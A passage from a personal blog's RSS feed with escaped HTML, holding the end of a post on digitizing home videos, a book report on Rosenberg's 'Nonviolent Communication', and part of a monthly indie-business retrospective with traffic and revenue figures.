&lt;figcaption>&lt;p>With the added flexibility of a spreadsheet, I can record metadata that gives more information about the clips and makes them easier to browse.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="the-glory-of-an-automated-solution">The glory of an automated solution&lt;/h3>
&lt;p>With the spreadsheet in hand, I &lt;a href="https://github.com/mtlynch/process-home-videos">wrote a script&lt;/a> that chopped my raw videos into smaller clips based on a CSV input.&lt;/p>
&lt;p>Here&amp;rsquo;s a screen capture of what it looks like in action:&lt;/p>
&lt;script id="asciicast-iJEbKDENYw4oyKWWwqJroXNl4" data-speed="1.3" src="https://asciinema.org/a/iJEbKDENYw4oyKWWwqJroXNl4.js" async>&lt;/script>
&lt;p>At this point, I&amp;rsquo;d spent &lt;strong>hundreds&lt;/strong> of hours tediously selecting clip boundaries in Premiere, hitting export, waiting a few minutes for it to complete, then starting over. Not only that, I had repeated this process several times on the same footage after discovering quality problems later on.&lt;/p>
&lt;p>Once I automated the clip slicing part, it was a massive weight off my shoulders. I didn&amp;rsquo;t have to worry about forgetting metadata or picking the wrong output format. If I discovered a mistake after the fact, I could just tweak my script and rerun everything.&lt;/p>
&lt;h2 id="part-two">Part two&lt;/h2>
&lt;p>Capturing and editing the clips was only half the battle. I still needed a way to share everything with my family in a way that was fun, secure, and affordable.&lt;/p>
&lt;p>In &lt;a href="https://mtlynch.io/digitizing-2/">part two&lt;/a> of this post, I describe the open source media server I used to share these clips with my family for only $0.77/month.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/digitizing-2">My Eight Year Quest to Digitize 45 Videotapes (Part Two)&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Illustrations by Loraine Yow.&lt;/em>&lt;/p>
&lt;p>&lt;em>Special thanks to my family for allowing me to share a selection of these clips and stills, for recording everything in the first place, and for being so supportive throughout this process.&lt;/em>&lt;/p></content:encoded></item><item><title>Nonviolent Communication by Marshall B. Rosenberg, Ph.D.</title><link>https://mtlynch.io/book-reports/nonviolent-communication/</link><pubDate>Tue, 05 May 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/nonviolent-communication/</guid><description>&lt;p>&lt;em>Nonviolent Communication&lt;/em> describes a communication style centered around sharing vulnerability and offering empathy. One of its biggest strengths is in how it highlights common patterns of lazy communication that exclude personal feelings or critical thinking. I also found its discussion of empathy illuminating, as it made me realize ways that I could improve my skills at listening empathetically.&lt;/p></description><content:encoded>&lt;p>&lt;em>Nonviolent Communication&lt;/em> describes a communication style centered around sharing vulnerability and offering empathy. One of its biggest strengths is in how it highlights common patterns of lazy communication that exclude personal feelings or critical thinking. I also found its discussion of empathy illuminating, as it made me realize ways that I could improve my skills at listening empathetically.&lt;/p>
&lt;p>One of the biggest takeaways for me was how commonplace it is for people to say, &amp;ldquo;I &lt;em>must&lt;/em> do this,&amp;rdquo; without thinking about whether they truly &amp;ldquo;must&amp;rdquo; or why they feel that way. After reading the book, I try to avoid saying things like, &amp;ldquo;I &lt;em>have to&lt;/em> write this email.&amp;rdquo; Phrasing it in those terms needlessly disconnects me from the choice I&amp;rsquo;ve made to write the email.&lt;/p>
&lt;p>The distinction between &amp;ldquo;I must do X&amp;rdquo; and &amp;ldquo;I&amp;rsquo;m choosing to do X because&amp;hellip;&amp;rdquo; seemed silly at first, but it grew more reasonable the more I thought about it. Now, I default to, &amp;ldquo;I &lt;em>want to&lt;/em> do X.&amp;rdquo; If I don&amp;rsquo;t want to do it, I evaluate whether it&amp;rsquo;s an intermediate step to something I ultimately want or if it&amp;rsquo;s something I don&amp;rsquo;t need to do at all.&lt;/p>
&lt;p>The book bears many similarities to &lt;a href="https://bookshop.org/p/books/crucial-conversations-tools-for-talking-when-stakes-are-high-emily-gregory/17346582">&lt;em>Crucial Conversations&lt;/em>&lt;/a>. Both emphasize the importance of separating judgments from facts during high stakes conversations. They also both advocate making everyone feel comfortable and heard.&lt;/p>
&lt;p>&lt;em>Nonviolent Communication&lt;/em> is a bit mushier in that it focuses on vulnerability and feelings, whereas &lt;em>Crucial Conversations&lt;/em> is more clinical and process-oriented. Although both books advocate using their techniques in all contexts, I view &lt;em>Crucial Conversations&lt;/em> as best-suited for professional relationships and &lt;em>Nonviolent Communication&lt;/em> as a good match for friends and loved ones.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Highlights the many ways that we unthinkingly use language that implies choicelessness and helplessness:
&lt;ul>
&lt;li>e.g., &amp;ldquo;I &lt;strong>have to&lt;/strong> respond to this email,&amp;rdquo; &amp;ldquo;You &lt;strong>made me&lt;/strong> upset.&amp;rdquo;&lt;/li>
&lt;li>I appreciated the idea of accepting responsibility for your choices and your reactions to others.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I&amp;rsquo;ve found many of his ideas helpful in improving communication with loved ones.&lt;/li>
&lt;li>It made me re-evaluate the ways I try to empathize with people and comfort them when they&amp;rsquo;re upset.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>The book advocates a style of reflective listening that feels patronizing to me.
&lt;ul>
&lt;li>A: &amp;ldquo;I&amp;rsquo;m having a terrible day!&amp;rdquo;&lt;/li>
&lt;li>B: &amp;ldquo;It sounds like you&amp;rsquo;re unhappy because the day isn&amp;rsquo;t playing out the way you had hoped.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Many of the illustrative stories feel exaggerated or implausible.
&lt;ul>
&lt;li>e.g., The author describes a time that he presented to violent gang members and told them how scared he was of them and then just kept asking them questions about why they weren&amp;rsquo;t taking him seriously. At the end of the presentation, they declared him the best speaker they&amp;rsquo;d ever seen.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The grammar in his example dialog is odd and reads as if a non-native speaker wrote it.
&lt;ul>
&lt;li>e.g., &amp;ldquo;I am needing more respect in our dialogue.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The second half was mostly stories about people putting the ideas of the first half into practice, which I found not so interesting.&lt;/li>
&lt;li>The author likes quoting lyrics from songs that he and his fellow therapists have written, but they didn&amp;rsquo;t resonate with me.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h2 id="nonviolent-communication-nvc">Nonviolent communication (NVC)&lt;/h2>
&lt;blockquote>
&lt;p>&lt;strong>Nonviolent communication (NVC)&lt;/strong>: a way of communicating that leads us to give from the heart.&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>NVC is a way of communicating more thoughtfully by focusing on our own emotions and withholding judgment.&lt;/li>
&lt;li>NVC process:
&lt;ol>
&lt;li>Observe concrete events that have affected your mood.&lt;/li>
&lt;li>Identify the feelings that arise in yourself in relation to those events.&lt;/li>
&lt;li>Trace those feelings back to your needs, values, and desires.&lt;/li>
&lt;li>Request concrete actions from others to help satisfy your needs.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul>
&lt;h2 id="judgmental-thinking">Judgmental thinking&lt;/h2>
&lt;ul>
&lt;li>Thinking in terms of judgment (e.g., &amp;ldquo;She&amp;rsquo;s lazy,&amp;rdquo; &amp;ldquo;He&amp;rsquo;s unreasonable&amp;rdquo;) places blame on others when the issue is really our own unmet need.
&lt;ul>
&lt;li>Judgmental language detaches us from the issue and allows us to shirk responsibility for the feelings we&amp;rsquo;re experiencing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="choicelessness-language">Choicelessness language&lt;/h2>
&lt;ul>
&lt;li>People often describe choices in terms of &amp;ldquo;have to do X&amp;rdquo; or &amp;ldquo;need to do Y.&amp;rdquo;
&lt;ul>
&lt;li>This language implies that the speaker is not voluntarily choosing the action when they, in fact, are.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>During the trial of &lt;a href="https://en.wikipedia.org/wiki/Adolf_Eichmann">Adolf Eichmann&lt;/a> (Nazi officer), he said that Nazis discussed atrocities in the language of &amp;ldquo;amtssprache&amp;rdquo; (&amp;ldquo;office talk&amp;rdquo; or &amp;ldquo;bureaucratese&amp;rdquo;).
&lt;ul>
&lt;li>When pressed to explain why they committed war crimes, Nazis would give responses like &amp;ldquo;I had to.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Examples of responsibility-denying language:&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;ul>
&lt;li>Vague, impersonal forces — &amp;ldquo;I cleaned my room because I had to.&amp;rdquo;&lt;/li>
&lt;li>Our condition, diagnosis, or personal or psychological history — &amp;ldquo;I drink because I am an alcoholic.&amp;rdquo;&lt;/li>
&lt;li>The actions of others — &amp;ldquo;I hit my child because he ran into the street.&amp;rdquo;&lt;/li>
&lt;li>The dictates of authority — &amp;ldquo;I lied to the client because the boss told me to.&amp;rdquo;&lt;/li>
&lt;li>Group pressure — &amp;ldquo;I started smoking because all my friends did.&amp;rdquo;&lt;/li>
&lt;li>Institutional policies, rules, and regulations — &amp;ldquo;I have to suspend you for this infraction because it&amp;rsquo;s the school policy.&amp;rdquo;&lt;/li>
&lt;li>Gender roles, social roles, or age roles — &amp;ldquo;I hate going to work but I do it because I am a husband and a father.&amp;rdquo;&lt;/li>
&lt;li>Uncontrollable impulses — &amp;ldquo;I was overcome by my urge to eat the candy bar.&amp;rdquo;&lt;/li>
&lt;/ul>&lt;/blockquote>
&lt;ul>
&lt;li>Styles of communication that minimize individual agency may be artifacts of living in hierarchical societies.
&lt;ul>
&lt;li>In a society where a small number of people control large populations, it&amp;rsquo;s beneficial to leaders if citizens communicate using language that implies choicelessness and powerlessness.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="compassion-denying-language">Compassion-denying language&lt;/h2>
&lt;ul>
&lt;li>The word &amp;ldquo;deserves&amp;rdquo; often blocks the speaker&amp;rsquo;s compassion
&lt;ul>
&lt;li>e.g., &amp;ldquo;He &lt;em>deserves&lt;/em> to be punished.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;deserves&amp;rdquo; attributes badness to the subject and implies that they deserve no empathy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="separating-observations-from-judgments">Separating observations from judgments&lt;/h2>
&lt;ul>
&lt;li>People are more open to feedback that&amp;rsquo;s objective and indisputable rather than feedback based on our opinions or judgments.
&lt;ul>
&lt;li>We can separate the objective and subjective parts of our feedback.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Communication&lt;/th>
 &lt;th>Example of mixing observation and judgment&lt;/th>
 &lt;th>Example of separating observation from judgment&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Use of verb &lt;em>to be&lt;/em> without indication that the evaluator takes responsibility for the evaluation&lt;/td>
 &lt;td>You are too generous.&lt;/td>
 &lt;td>When I see you give all your lunch money to others, I think you are being too generous.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Use of verbs with evaluative connotations&lt;/td>
 &lt;td>Doug procrastinates.&lt;/td>
 &lt;td>Doug only studies for exams the night before.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Implication that one&amp;rsquo;s inferences about another person&amp;rsquo;s thoughts, feelings, intentions, or desires are the only ones possible&lt;/td>
 &lt;td>She won&amp;rsquo;t get her work in.&lt;/td>
 &lt;td>I don&amp;rsquo;t think she&amp;rsquo;ll get her work in.&lt;br>&lt;br>&lt;em>or&lt;/em>&lt;br>&lt;br>She said, &amp;ldquo;I won&amp;rsquo;t get my work in.&amp;rdquo;&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Confusion of prediction with certainty&lt;/td>
 &lt;td>If you don&amp;rsquo;t eat balanced meals, your health will be impaired.&lt;/td>
 &lt;td>If you don&amp;rsquo;t eat balanced meals, I fear your health may be impaired.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Failure to be specific about referents&lt;/td>
 &lt;td>Immigrants don&amp;rsquo;t take care of their property.&lt;/td>
 &lt;td>I have not seen the immigrant family living at 1679 Ross shovel the snow on their sidewalk.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Use of words denoting ability without indicating that an evaluation is being made&lt;/td>
 &lt;td>Hank Smith is a poor soccer player.&lt;/td>
 &lt;td>Hank Smith has not scored a goal in twenty games.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Use of adverbs and adjectives in ways that do not indicate an evaluation has been made&lt;/td>
 &lt;td>Jim is ugly.&lt;/td>
 &lt;td>Jim&amp;rsquo;s looks don&amp;rsquo;t appeal to me.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>&lt;/blockquote>
&lt;p>Words like &amp;ldquo;always,&amp;rdquo; &amp;ldquo;never,&amp;rdquo; &amp;ldquo;frequently,&amp;rdquo; and &amp;ldquo;seldom&amp;rdquo; often accompany evaluations:&lt;/p>
&lt;ul>
&lt;li>Evaluation: You seldom do what I want.&lt;/li>
&lt;li>Observation: The last three times I initiated an activity, you said you didn&amp;rsquo;t want to do it.&lt;/li>
&lt;/ul>
&lt;h2 id="bonding-by-expressing-feelings">Bonding by expressing feelings&lt;/h2>
&lt;ul>
&lt;li>Expressing vulnerability and feelings makes others feel more connected to you.
&lt;ul>
&lt;li>Specificity in articulating your feelings strengthens the communication.&lt;/li>
&lt;li>e.g., &amp;ldquo;I feel excited,&amp;rdquo; is better than &amp;ldquo;I feel good.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="accepting-accountability-for-feelings">Accepting accountability for feelings&lt;/h2>
&lt;ul>
&lt;li>Other people&amp;rsquo;s actions might be the stimulus of our feelings, but they are not the cause.&lt;/li>
&lt;li>Our feelings are the result of our own choices, needs, and expectations.&lt;/li>
&lt;/ul>
&lt;h3 id="four-options-for-reacting-to-negative-feedback-from-others">Four options for reacting to negative feedback from others&lt;/h3>
&lt;ol>
&lt;li>&lt;strong>Blame ourselves&lt;/strong>: Accept the person&amp;rsquo;s judgment and allow it to affect our self-esteem.&lt;/li>
&lt;li>&lt;strong>Blame others&lt;/strong>: Reject criticism by faulting the speaker.&lt;/li>
&lt;li>&lt;strong>Sense our own needs and feelings&lt;/strong>: Observe what feelings we experience in response to the criticism we&amp;rsquo;ve heard.&lt;/li>
&lt;li>&lt;strong>Sense others&amp;rsquo; feelings and needs&lt;/strong>: Probe to understand more about how you failed to satisfy the speaker&amp;rsquo;s needs.&lt;/li>
&lt;/ol>
&lt;h3 id="common-speech-patterns-that-obscure-personal-accountability-for-feelings">Common speech patterns that obscure personal accountability for feelings&lt;/h3>
&lt;ul>
&lt;li>Impersonal language like &amp;ldquo;it or &amp;ldquo;that&amp;rdquo;
&lt;ul>
&lt;li>&amp;ldquo;It really infuriates me when spelling mistakes appear in our brochures.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;That bugs me a lot.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;I feel ___ because ___&amp;rdquo;
&lt;ul>
&lt;li>&amp;ldquo;I feel hurt because you said you don&amp;rsquo;t love me.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Mentioning only the actions of others
&lt;ul>
&lt;li>&amp;ldquo;When you don&amp;rsquo;t call me on my birthday, I feel hurt.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s possible to correct these speech patterns by connecting our feeling with the underlying need that caused it.&lt;/p>
&lt;ul>
&lt;li>Use the format: &amp;ldquo;I feel [feeling] because [underlying need].&amp;rdquo;&lt;/li>
&lt;li>Examples:
&lt;ul>
&lt;li>&amp;ldquo;&lt;em>I feel&lt;/em> really infuriated when spelling mistakes like that appear in our public brochures &lt;em>because I&lt;/em> want our company to project a professional image.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;&lt;em>I feel&lt;/em> angry that the supervisor broke her promise, &lt;em>because I&lt;/em> was counting on getting that long weekend to visit my brother.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="state-needs-and-desires-in-positive-terms">State needs and desires in positive terms&lt;/h2>
&lt;ul>
&lt;li>We&amp;rsquo;re more likely to get what we want from others if we state our desires in terms of positive actions.&lt;/li>
&lt;li>People commonly say what they &lt;em>don&amp;rsquo;t&lt;/em> want, which leaves more room for miscommunication and misinterpretation.&lt;/li>
&lt;li>The clearer we are about what we want, the more likely we are to get it.&lt;/li>
&lt;li>In meetings and group discussions, people often unintentionally waste time by addressing the group without first thinking about what response they hope to achieve.&lt;/li>
&lt;/ul>
&lt;h2 id="requests-vs-demands">Requests vs. demands&lt;/h2>
&lt;ul>
&lt;li>The difference between requests and demands is how the speaker handles noncompliance.
&lt;ul>
&lt;li>If the speaker punishes the listener for noncompliance (including guilt trips or whining), it was a demand.&lt;/li>
&lt;li>If the speaker accepts rejection graciously, it was a sincere request.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If we form a habit of punishing people for failing to comply with our requests, they will learn to interpret the requests as demands.
&lt;ul>
&lt;li>They will then either comply out of fear or rebel.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If we clearly express a desire and the listener chooses not to satisfy it, it&amp;rsquo;s important to accept the answer graciously so that we don&amp;rsquo;t create a dynamic where they feel we&amp;rsquo;re demanding they satisfy all of our desires.&lt;/li>
&lt;/ul>
&lt;h2 id="receiving-empathically">Receiving empathically&lt;/h2>
&lt;ul>
&lt;li>People often fail to be fully present when hearing others&amp;rsquo; feelings.&lt;/li>
&lt;li>Common anti-patterns to listening with true empathy:
&lt;blockquote>
&lt;ul>
&lt;li>Advising: &amp;ldquo;I think you should&amp;hellip;&amp;rdquo; &amp;ldquo;How come you didn&amp;rsquo;t&amp;hellip;?&amp;rdquo;&lt;/li>
&lt;li>One-upping: &amp;ldquo;That&amp;rsquo;s nothing; wait&amp;rsquo;ll you hear what happened to me.&amp;rdquo;&lt;/li>
&lt;li>Educating: &amp;ldquo;This could turn into a very positive experience for you if you just&amp;hellip;&amp;rdquo;&lt;/li>
&lt;li>Consoling: &amp;ldquo;It wasn&amp;rsquo;t your fault; you did the best you could.&amp;rdquo;&lt;/li>
&lt;li>Story-telling: &amp;ldquo;That reminds me of the time&amp;hellip;&amp;rdquo;&lt;/li>
&lt;li>Shutting down: &amp;ldquo;Cheer up. Don&amp;rsquo;t feel so bad.&amp;rdquo;&lt;/li>
&lt;li>Sympathizing: &amp;ldquo;Oh, you poor thing&amp;hellip;&amp;rdquo;&lt;/li>
&lt;li>Interrogating: &amp;ldquo;When did this begin?&amp;rdquo;&lt;/li>
&lt;li>Explaining: &amp;ldquo;I would have called, but&amp;hellip;&amp;rdquo;&lt;/li>
&lt;li>Correcting: &amp;ldquo;That&amp;rsquo;s not how it happened.&amp;rdquo;&lt;/li>
&lt;/ul>&lt;/blockquote>
&lt;/li>
&lt;li>To listen empathically, identify what the speaker is:
&lt;ol>
&lt;li>Observing&lt;/li>
&lt;li>Feeling&lt;/li>
&lt;li>Needing&lt;/li>
&lt;li>Requesting&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>One way to uncover these four things is by making guesses and checking in with the person to learn if they&amp;rsquo;re correct.
&lt;ul>
&lt;li>&amp;ldquo;Are you feeling unhappy because you need to be heard?&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Are you reacting to how many evenings I was gone last week?&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="self-evaluating-with-empathy">Self-evaluating with empathy&lt;/h2>
&lt;ul>
&lt;li>We should employ self-empathy when we evaluate ourselves.
&lt;ul>
&lt;li>If self-evaluation leads to shame, we may still grow and improve, but we&amp;rsquo;re letting self-hatred drive us.&lt;/li>
&lt;li>Instead, translate self-judgments into inner demands.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Generally, when we say we &amp;ldquo;should&amp;rdquo; or &amp;ldquo;shouldn&amp;rsquo;t&amp;rdquo; do something, the underlying message is that we&amp;rsquo;re behaving in a way that&amp;rsquo;s misaligned with our needs or values.
&lt;ul>
&lt;li>Shaming (bad): &amp;ldquo;I shouldn&amp;rsquo;t have eaten that donut.&amp;rdquo;&lt;/li>
&lt;li>Identifying underlying values (good): &amp;ldquo;My priority to stay healthy is higher than the short-term pleasure of eating the donut.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Identifying the unmet need helps us forgive ourselves and avoid stewing in shame.&lt;/li>
&lt;/ul>
&lt;h2 id="limitations-of-punishment">Limitations of punishment&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>When we seek to punish someone, we should ask ourselves two questions:&lt;/p>
&lt;ol>
&lt;li>What do I want this person to do that differs from what they&amp;rsquo;re currently doing?&lt;/li>
&lt;li>What do I want this person&amp;rsquo;s reasons to be for doing what I&amp;rsquo;m asking?&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>
&lt;p>Example: Punishing a child for not cleaning their room&lt;/p>
&lt;ul>
&lt;li>Teaches them to submit to authority but doesn&amp;rsquo;t help them appreciate the inherent benefits of cleanliness and organization.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>An empathic discussion can often substitute the use of force or punishment.&lt;/p>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Is It Keto: Month 11</title><link>https://mtlynch.io/retrospectives/2020/05/</link><pubDate>Sun, 03 May 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/05/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Two of my blog posts reached the front page of Hacker News.&lt;/li>
&lt;li>I may have finally discovered a way to scale my keto site profitably.&lt;/li>
&lt;li>I&amp;rsquo;m putting Portfolio Rebalancer on the backburner due to lack of traction.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="conduct-five-customer-interviews-for-the-portfolio-rebalancer">Conduct five customer interviews for the portfolio rebalancer&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Conducted zero customer interviews.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>I deprioritized the portfolio rebalancer in favor of Is It Keto. I&amp;rsquo;ll explain why &lt;a href="#portfolio-rebalancer-has-lots-of-visitors-but-no-sales">below&lt;/a>.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Two of my blog posts reached the front page of Hacker News.&lt;/li>
&lt;li>I may have finally discovered a way to scale my keto site profitably.&lt;/li>
&lt;li>I&amp;rsquo;m putting Portfolio Rebalancer on the backburner due to lack of traction.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="conduct-five-customer-interviews-for-the-portfolio-rebalancer">Conduct five customer interviews for the portfolio rebalancer&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Conducted zero customer interviews.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>I deprioritized the portfolio rebalancer in favor of Is It Keto. I&amp;rsquo;ll explain why &lt;a href="#portfolio-rebalancer-has-lots-of-visitors-but-no-sales">below&lt;/a>.&lt;/p>
&lt;h3 id="implement-customer-payments-for-the-portfolio-rebalancer">Implement customer payments for the portfolio rebalancer&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Implemented a Stripe payment flow.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I successfully implemented a subscription payment workflow for the first time ever. I expected a simple two-day process, but it took me about three weeks to get everything working.&lt;/p>
&lt;h3 id="publish-one-new-blog-post">Publish one new blog post&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published two new blog posts, both of which reached the front page of Hacker News.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>While integrating with Stripe, I noticed that their JavaScript library &lt;a href="https://mtlynch.io/stripe-recording-its-customers/">collected user data from my site&lt;/a>. My blog post about the issue &lt;a href="https://news.ycombinator.com/item?id=22936818">reached #1 on Hacker News&lt;/a> and prompted &lt;a href="https://news.ycombinator.com/item?id=22937303">a response from Stripe&amp;rsquo;s CEO&lt;/a>. &lt;em>The Register&lt;/em> also &lt;a href="https://www.theregister.co.uk/2020/04/22/stripe_defends_mouse_measuring_javascript/">interviewed me&lt;/a> about the story.&lt;/p>
&lt;p>Stripe made several changes the week following my post, and I published &lt;a href="https://mtlynch.io/stripe-update/">a follow-up&lt;/a> with my thoughts. That post also reached &lt;a href="https://news.ycombinator.com/item?id=23034924">the front page of Hacker News&lt;/a>, though it generated &lt;a href="https://hnrankings.info/23034924/">a more muted response&lt;/a>.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="portfolio-rebalancer">Portfolio Rebalancer&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2020&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>1,081&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>2,279&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>User Signups&lt;/td>
 &lt;td>12&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Free Trials Initiated&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Paid Subscriptions Initiated&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>New revenue&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>For its first full month of existence, Portfolio Rebalancer achieved a healthy 1.1k visitors.&lt;/p>
&lt;p>Unfortunately, it ended the month with a revenue of $0 and no signs of increasing.&lt;/p>
&lt;h3 id="is-it-keto">Is It Keto&lt;/h3>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/isitketo-ga.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/isitketo-ga_hu_ddcda82b3a511149.png 300w, https://mtlynch.io/retrospectives/2020/05/isitketo-ga_hu_4763853bbad296a3.png 600w, https://mtlynch.io/retrospectives/2020/05/isitketo-ga.png 735w'
 src="https://mtlynch.io/retrospectives/2020/05/isitketo-ga.png" alt="Is It Keto traffic in Google Analytics" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2020&lt;/th>
 &lt;th>April 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>33,007&lt;/td>
 &lt;td>35,451&lt;/td>
 &lt;td>&lt;font color="green">+2,444 (+7%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>80,368&lt;/td>
 &lt;td>72,894&lt;/td>
 &lt;td>&lt;font color="red">-7,474 (-9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>26.0&lt;/td>
 &lt;td>27.0&lt;/td>
 &lt;td>&lt;font color="green">+1.0 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$195.85&lt;/td>
 &lt;td>$92.09&lt;/td>
 &lt;td>&lt;font color="red">-$103.76 (-53%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$166.43&lt;/td>
 &lt;td>$128.39&lt;/td>
 &lt;td>&lt;font color="red">-$38.04 (-23%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$362.28&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$220.48&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$141.80 (-39%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto took a big hit in March amid COVID-19 panic, but it&amp;rsquo;s been growing consistently every week since then.&lt;/p>
&lt;h2 id="portfolio-rebalancer-has-lots-of-visitors-but-no-sales">Portfolio Rebalancer has lots of visitors but no sales&lt;/h2>
